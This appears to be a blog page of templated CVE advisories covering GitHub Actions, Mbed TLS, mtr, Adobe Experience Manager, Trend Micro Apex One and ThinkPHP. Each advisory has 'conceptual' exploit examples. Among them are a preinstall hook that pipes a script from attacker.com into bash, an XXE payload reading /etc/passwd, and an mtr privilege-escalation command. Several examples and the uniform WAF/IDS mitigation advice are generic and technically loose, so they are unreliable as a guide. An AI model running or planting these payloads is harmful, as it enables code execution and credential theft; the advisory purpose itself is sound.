Author: Ameeba

  • CVE-2025-54594: Critical Vulnerability in react-native-bottom-tabs Library Allows for Arbitrary Code Execution

    Overview

    A critical vulnerability has been identified in the react-native-bottom-tabs library, a popular library for creating bottom tabs in React Native applications. This vulnerability, tagged as CVE-2025-54594, potentially exposes systems to compromise or data leakage, affecting developers and end-users of applications leveraging this library. It’s a serious issue that underscores the importance of secure coding practices and vigilant software development life-cycle management.

    Vulnerability Summary

    CVE ID: CVE-2025-54594
    Severity: Critical – 9.1 CVSS score
    Attack Vector: Network
    Privileges Required: None
    User Interaction: Required
    Impact: System compromise, Data leakage

    Affected Products

    Product | Affected Versions

    react-native-bottom-tabs | 0.9.2 and below

    How the Exploit Works

    The vulnerability stems from the GitHub Actions repository workflow in the react-native-bottom-tabs library. Specifically, the ‘release-canary.yml’ workflow improperly used the ‘pull_request_target’ event trigger. This misconfiguration allows untrusted code from a forked pull request to be executed in a privileged context.
    An attacker can exploit this vulnerability by creating a pull request containing a malicious preinstall script in the ‘package.json’ file. The attacker then triggers the vulnerable workflow by posting a specific comment (‘!canary’). This leads to arbitrary code execution, potentially leading to the exfiltration of sensitive secrets such as GITHUB_TOKEN and NPM_TOKEN. These tokens could allow an attacker to push malicious code to the repository or publish compromised packages to the NPM registry.

    Conceptual Example Code

    The following conceptual example demonstrates how an attacker might exploit this vulnerability:

    // Malicious preinstall script in package.json
    {
    "name": "exploit",
    "version": "1.0.0",
    "description": "",
    "main": "index.js",
    "scripts": {
    "preinstall": "curl https://attacker.com/steal_secrets.sh | bash"
    },
    "author": "",
    "license": "ISC"
    }

    Then, the attacker would comment ‘!canary’ on the pull request to trigger the vulnerable workflow.

    Mitigation and Remediation

    Currently, there is a remediation commit that removes the ‘release-canary.yml’ file, but a version with this fix has yet to be officially released. Until the updated version is available, the recommended mitigation step is to either apply the vendor patch manually or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure.
    It is also recommended to review the security settings of your GitHub Actions to ensure that untrusted code from forked pull requests cannot be executed in a privileged context.

  • CVE-2025-52496: Race Condition in Mbed TLS Library Leads to Potential AES Key Extraction

    Overview

    The vulnerability identified as CVE-2025-52496 is a serious security flaw found in the Mbed TLS library before the release of version 3.6.4. This vulnerability, if exploited, can lead to a significant compromise of system security through the extraction of AES keys from multithreaded programs. This could potentially allow an attacker to perform a GCM forgery, leading to data leakage or even complete system compromise.
    The reason why this vulnerability matters is due to the widespread use of the Mbed TLS library in numerous applications. Any application utilizing versions of this library prior to 3.6.4 is potentially at risk.

    Vulnerability Summary

    CVE ID: CVE-2025-52496
    Severity: High (CVSS: 7.8)
    Attack Vector: Local
    Privileges Required: Low
    User Interaction: None
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    Mbed TLS | Before 3.6.4

    How the Exploit Works

    The exploit works by taking advantage of a race condition in the AESNI detection functionality of the Mbed TLS library. If certain compiler optimizations occur, an attacker can manipulate the concurrent execution of threads to trick the system into revealing the AES key. This key can then be used to decrypt sensitive data or perform a GCM forgery.

    Conceptual Example Code

    While the exact code will vary based on the specific implementation of the Mbed TLS library, a conceptual example may look something like this:

    #include "mbedtls/aes.h"
    int main() {
    mbedtls_aes_context aes;
    unsigned char key[16];
    mbedtls_aes_init(&aes);
    mbedtls_aes_setkey_enc(&aes, key, 128);
    // At this point, due to the vulnerability,
    // another thread could potentially extract the AES key
    // from the aes context while it's being used for encryption.
    // ... Rest of the code ...
    return 0;
    }

    Mitigation Guidance

    The recommended mitigation for this vulnerability is to update the Mbed TLS library to version 3.6.4 or later, where the vulnerability has been patched. If this is not immediately feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these are not permanent solutions and the library should be updated as soon as possible to fully secure your system.

  • CVE-2025-49809: Critical Vulnerability in mtr Resulting in Potential System Compromise

    Overview

    The cybersecurity landscape is ever-changing, and new vulnerabilities are discovered regularly. One such vulnerability is CVE-2025-49809, affecting the mtr utility up to version 0.95. Mtr is a network diagnostic tool often used in the Unix-like operating systems. This vulnerability is particularly concerning because it can lead to system compromise or data leakage, posing a serious threat to the integrity, confidentiality, and availability of data and systems.
    This vulnerability can affect anyone using a Unix-like operating system, including macOS where mtr may often have Sudo rules, due to Homebrew not installing setuid binaries. It’s crucial that all users and administrators of these systems be aware of this vulnerability, understand its implications, and take immediate steps to mitigate its potential impact.

    Vulnerability Summary

    CVE ID: CVE-2025-49809
    Severity: High (7.8 CVSS v3 score)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    mtr | up to and including 0.95

    How the Exploit Works

    This vulnerability stems from mtr’s mishandling of the execution of a program specified by the MTR_PACKET environment variable in certain privileged contexts. Exploitation occurs when an attacker is able to manipulate this environment variable to execute arbitrary code with elevated privileges on the target system, leading to potential system compromise or data leakage.

    Conceptual Example Code

    Below is a conceptual example of how this vulnerability might be exploited:

    # Setting the MTR_PACKET environment variable to a malicious program
    export MTR_PACKET=/path/to/malicious_program
    # Running mtr with elevated privileges
    sudo mtr target.example.com

    In this example, the malicious_program would be executed with elevated privileges when mtr is run, potentially leading to system compromise or data leakage.

    Mitigation Guidance

    Users and administrators affected by this vulnerability are urged to apply the vendor-provided patch as soon as possible. In the event that the patch cannot be applied immediately, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. However, these methods should not be treated as a long-term solution, as they may not fully protect against all potential exploits of this vulnerability.

  • CVE-2025-54254: Critical XXE Vulnerability in Adobe Experience Manager

    Overview

    The cybersecurity landscape is under continuous threat with new vulnerabilities emerging at an alarming rate. One such recently discovered vulnerability, CVE-2025-54254, has been found to affect Adobe Experience Manager versions 6.5.23 and earlier. This vulnerability is an Improper Restriction of XML External Entity Reference (‘XXE’) type, which could lead to arbitrary file system read. This means an attacker could exploit the vulnerability to gain unauthorized access to sensitive files on the local file system. The importance of this issue cannot be overstated, as the potential damage could lead to system compromise or data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-54254
    Severity: Critical (CVSS 8.6)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Adobe Experience Manager | 6.5.23 and earlier versions

    How the Exploit Works

    The vulnerability is an XXE (XML External Entity) type, which arises when an application processing XML input does not correctly restrict the use of external entities. This can lead to disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
    In the case of CVE-2025-54254, the flaw lies in how Adobe Experience Manager processes XML data, allowing an attacker to inject malicious XML that can read arbitrary files from the system.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited. This can be done via a maliciously crafted POST request to a vulnerable endpoint.

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/xml
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <foo>&xxe;</foo>

    In the above example, the XML payload includes a reference to an external entity, `xxe`, which is defined as the local file `/etc/passwd`. When processed by the vulnerable application, this file’s contents are included in the response, leading to information disclosure.
    Please note that the above is a proof of concept and should only be used for educational or defensive measures. Misuse of this information can result in criminal charges.

    Mitigation

    Adobe has released a patch to address this vulnerability. It is highly recommended to update your Adobe Experience Manager to the latest version as soon as possible. As an interim measure, you can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block or monitor for attempts to exploit this vulnerability.

  • CVE-2025-54987: Remote Code Execution Vulnerability in Trend Micro Apex One Management Console

    Overview

    The heart of cybersecurity revolves around the identification and swift mitigation of vulnerabilities in software applications. This blog post will delve into one such vulnerability, specifically CVE-2025-54987, which poses a significant threat to users of the Trend Micro Apex One (on-premise) management console. This vulnerability allows a pre-authenticated remote attacker to upload malicious code and execute commands on affected installations. Given the critical role that Trend Micro Apex One plays in managing security across an organization’s network, this vulnerability carries a significant risk.

    Vulnerability Summary

    CVE ID: CVE-2025-54987
    Severity: Critical (9.4)
    Attack Vector: Network
    Privileges Required: None (Pre-authenticated)
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Trend Micro Apex One | All on-premise versions

    How the Exploit Works

    The vulnerability lies in the way Trend Micro Apex One’s management console handles file uploads. An attacker, already authenticated, can craft a special payload disguised as a legitimate file. When this file is uploaded to the management console, the malicious code is executed, potentially compromising the system or leading to data leakage.

    Conceptual Example Code

    Given the nature of this exploit, an attacker might use a POST request to upload the malicious file. Here is a conceptual example of such an HTTP request:

    POST /upload/file HTTP/1.1
    Host: apexone.example.com
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="file"; filename="malicious_payload.exe"
    Content-Type: application/octet-stream
    <binary data>
    ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    In this example, the attacker is uploading a file named “malicious_payload.exe” containing the harmful code.
    Please note that this is a conceptual example and should not be used for malicious purposes. Always practice ethical hacking and responsible disclosure of vulnerabilities.

    Mitigation

    Until a patch is released by the vendor, users of the affected software are advised to use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) to mitigate the risk. These systems can be configured to recognize and block suspicious payloads, thereby providing temporary protection against this exploit.

  • CVE-2025-46658: Critical Security Vulnerability in ExonautWeb’s 4C Strategies Exonaut 21.6

    Overview

    A critical security vulnerability, labeled as CVE-2025-46658, has recently been discovered in the ExonautWeb component of 4C Strategies’ Exonaut version 21.6. As a cybersecurity professional, it is imperative to understand the details of this vulnerability, as it could potentially lead to system compromise or data leakage.
    The severity of this vulnerability is heightened by the verbose error messages that the system presents, providing potential attackers with detailed information about the system. This post aims to provide a comprehensive overview of the vulnerability, including the affected products, how the exploit works, and the recommended mitigation strategies.

    Vulnerability Summary

    CVE ID: CVE-2025-46658
    Severity: Critical (CVSS Score: 9.8)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Possible system compromise and data leakage

    Affected Products

    Product | Affected Versions

    4C Strategies Exonaut | 21.6

    How the Exploit Works

    This vulnerability comes into play due to the verbose error messages displayed by the ExonautWeb component in Exonaut 21.6. These detailed error messages can reveal sensitive information about the system, which can be exploited by attackers to compromise the system or leak data.
    An attacker can deliberately trigger errors in the system and then analyze the verbose error messages for valuable information. This data can provide insights into the system’s structure, behavior, and potential weaknesses, providing a roadmap for further malicious activities.

    Conceptual Example Code

    Below is a conceptual example of how this vulnerability might be exploited. In this example, an HTTP request is made to a potentially vulnerable endpoint, triggering an error and the subsequent verbose error message.

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "trigger_error": "true" }

    In response, the system might return a detailed error message like this:

    HTTP/1.1 500 Internal Server Error
    Content-Type: application/json
    { "error": "Detailed system error message here..." }

    This detailed error message could potentially reveal sensitive information about the system’s inner workings, which could then be exploited by an attacker.

    How to Mitigate the Vulnerability

    The recommended mitigation for this vulnerability is to apply the vendor patch as soon as it is available. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These tools can monitor and control incoming and outgoing network traffic based on predetermined security policies, helping to prevent exploitation of the vulnerability.
    However, it is essential to remember that these are temporary solutions and do not replace the need for a vendor patch. Always ensure your systems are up-to-date with the latest patches and updates to maintain optimal security.

  • CVE-2025-50707: Critical Remote Code Execution Vulnerability in thinkphp3 v.3.2.5

    Overview

    The CVE-2025-50707 vulnerability exists in thinkphp3 v.3.2.5, an open-source PHP framework. This critical vulnerability allows a remote attacker to execute arbitrary code via a flaw in the index.php component. As the vulnerability could potentially lead to system compromises and data leakage, it is of significant concern to any organization using this version of the software. The ability of an attacker to remotely execute arbitrary code is a severe threat, as it essentially grants them the same permissions as the system’s legitimate users.

    Vulnerability Summary

    CVE ID: CVE-2025-50707
    Severity: Critical – CVSS: 9.8
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise, potential data leakage

    Affected Products

    Product | Affected Versions

    thinkphp3 | v.3.2.5

    How the Exploit Works

    The vulnerability resides in the index.php component of thinkphp3 v3.2.5. An attacker can exploit this flaw by sending a maliciously crafted HTTP request to the server. The server, lacking proper sanitization checks, interprets this request as legitimate code and executes it. This allows the attacker to run arbitrary code on the server, leading to potential system compromise or data leakage.

    Conceptual Example Code

    Here’s an example of how an attacker might exploit this vulnerability:

    POST /index.php HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    data={ "payload": "arbitrary_code_here" }

    In the above example, arbitrary_code_here represents the code that the attacker wants the server to execute. Since the server lacks proper input validation, it blindly executes the code, thereby giving the attacker control over the system.

    Mitigation and Prevention

    As a mitigation strategy against this critical vulnerability, vendors are advised to apply the patch provided by the vendor as soon as possible. Until the patch can be applied, a temporary mitigation measure can be to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). Both of these solutions can help identify and block malicious requests, thus providing a layer of protection against this vulnerability. However, these should only be seen as temporary measures, and the patch should be applied as soon as it is available to ensure complete protection.

  • CVE-2025-54253: Misconfiguration Vulnerability in Adobe Experience Manager Leading to Arbitrary Code Execution

    Overview

    The Common Vulnerabilities and Exposures (CVE) system has issued an alert for a high-risk vulnerability, CVE-2025-54253, that affects Adobe Experience Manager versions 6.5.23 and earlier. This vulnerability could potentially allow an attacker to execute arbitrary code, bypassing security mechanisms, and resulting in a system compromise or data leakage. This vulnerability is particularly concerning given that exploitation does not require user interaction.
    In the context of the increasing threats to digital security, awareness and understanding of vulnerabilities such as CVE-2025-54253 is crucial for IT professionals, system administrators, and businesses utilizing Adobe Experience Manager. This article provides an in-depth analysis of this vulnerability, outlining its potential impacts, how it can be exploited, and the mitigation strategies that can be employed.

    Vulnerability Summary

    CVE ID: CVE-2025-54253
    Severity: Critical (CVSS Score 10.0)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Adobe Experience Manager | 6.5.23 and earlier versions

    How the Exploit Works

    This vulnerability originates from a misconfiguration in Adobe Experience Manager that can allow an attacker to execute arbitrary code. The misconfiguration allows an attacker to bypass the security measures in place, enabling them to execute code without any user interaction. This means that an attacker can potentially take control of the system or leak sensitive data without the user being aware of the compromise.

    Conceptual Example Code

    Here is a conceptual example of how the vulnerability might be exploited. This is an HTTP request that an attacker could theoretically use to exploit the vulnerability:

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "malicious_payload": "code_to_be_executed" }

    In this example, “code_to_be_executed” would be replaced with the actual malicious code that the attacker wishes to run on the system.

    Mitigation Guidance

    Adobe has released a patch to address this vulnerability. It is highly recommended to apply this patch immediately to vulnerable systems. If the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as a temporary mitigation strategy. However, these are not long-term solutions and the patch should be applied as soon as feasible to ensure system security.

  • CVE-2025-50706: Critical Arbitrary Code Execution Vulnerability in ThinkPHP v.5.1

    Overview

    The year 2025 brought a significant cyber threat with the discovery of CVE-2025-50706 – a critical vulnerability in the thinkphp framework version 5.1. This vulnerability allows a remote attacker to execute arbitrary code via the routecheck function. This potentially exposes systems to compromise and data to leakage, making it a high-priority issue for anyone using the affected version of thinkphp. The severity of the threat is reflected in its CVSS Severity Score of 9.8, indicating a critical level of risk.

    Vulnerability Summary

    CVE ID: CVE-2025-50706
    Severity: Critical (9.8)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    ThinkPHP | 5.1

    How the Exploit Works

    The vulnerability lies in the routecheck function of ThinkPHP v.5.1. An attacker can craft malicious requests that exploit this function, leading to arbitrary code execution on the server. This is possible due to insufficient input validation and improper handling of certain function parameters by the routecheck function. The exploit can be triggered remotely via the network, without any user interaction or special privileges.

    Conceptual Example Code

    Below is a
    conceptual
    example of a malicious HTTP request an attacker might send to exploit this vulnerability:

    POST /routecheck HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    route=malicious_code_here

    In the above example, the “route” parameter carries malicious code that is executed on the server side when processed by the vulnerable routecheck function.

    Mitigation and Remediation

    The vendor has released a patch that resolves this vulnerability. Affected users are strongly advised to apply this patch immediately. If applying the patch isn’t immediately feasible, temporary mitigations include the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability.
    Remember, the best defense against vulnerabilities like CVE-2025-50706 is to keep your systems updated with the latest patches and to employ a multi-layered security strategy that includes regular vulnerability scanning, intrusion detection, and strong access controls.

  • CVE-2025-54948: Pre-Authenticated Remote Code Execution Vulnerability in Trend Micro Apex One

    Overview

    The security landscape is an ever-evolving domain, with new vulnerabilities surfacing now and then, threatening the integrity of systems worldwide. The vulnerability we’re focusing on in this post is CVE-2025-54948, which poses a significant threat to the Trend Micro Apex One management console. This vulnerability gives malicious actors the ability to upload and execute malicious code on affected installations, potentially leading to system compromise or data leakage.
    Given the severity of this vulnerability, rated 9.4 on the CVSS scale, it is critical for organizations using Trend Micro Apex One (on-premise) to understand the implications of this security flaw and take necessary measures to mitigate it.

    Vulnerability Summary

    CVE ID: CVE-2025-54948
    Severity: Critical (9.4 CVSS score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise, potential data leakage

    Affected Products

    Product | Affected Versions

    Trend Micro Apex One | All on-premise versions before the vendor patch

    How the Exploit Works

    The vulnerability lies in the management console of the Trend Micro Apex One. A pre-authenticated remote attacker can exploit this by uploading malicious code to the system. This code could be designed to execute arbitrary commands on the system, which would not only give the attacker control over the system but also potentially allow for data extraction, leading to a data breach.

    Conceptual Example Code

    Here is a conceptual example of how the vulnerability might be exploited. This is a simplified representation and the actual exploit might require advanced knowledge of the system internals.

    POST /upload_file HTTP/1.1
    Host: target.example.com
    Content-Type: application/octet-stream
    { "file": "/path/to/malicious_code" }

    This HTTP request, when sent to the vulnerable endpoint, would upload the malicious code to the server.

    Remediation and Mitigation

    Trend Micro has released a patch to address this vulnerability, and all users of the affected versions of Trend Micro Apex One are strongly advised to apply this patch immediately. In the interim, a web application firewall (WAF) or intrusion detection system (IDS) can be used as a temporary mitigation strategy to monitor for and block attempts to exploit this vulnerability.
    As a cybersecurity imperative, always keep your systems updated and monitor regularly for any unusual activities. Prevention is, as always, better than cure.

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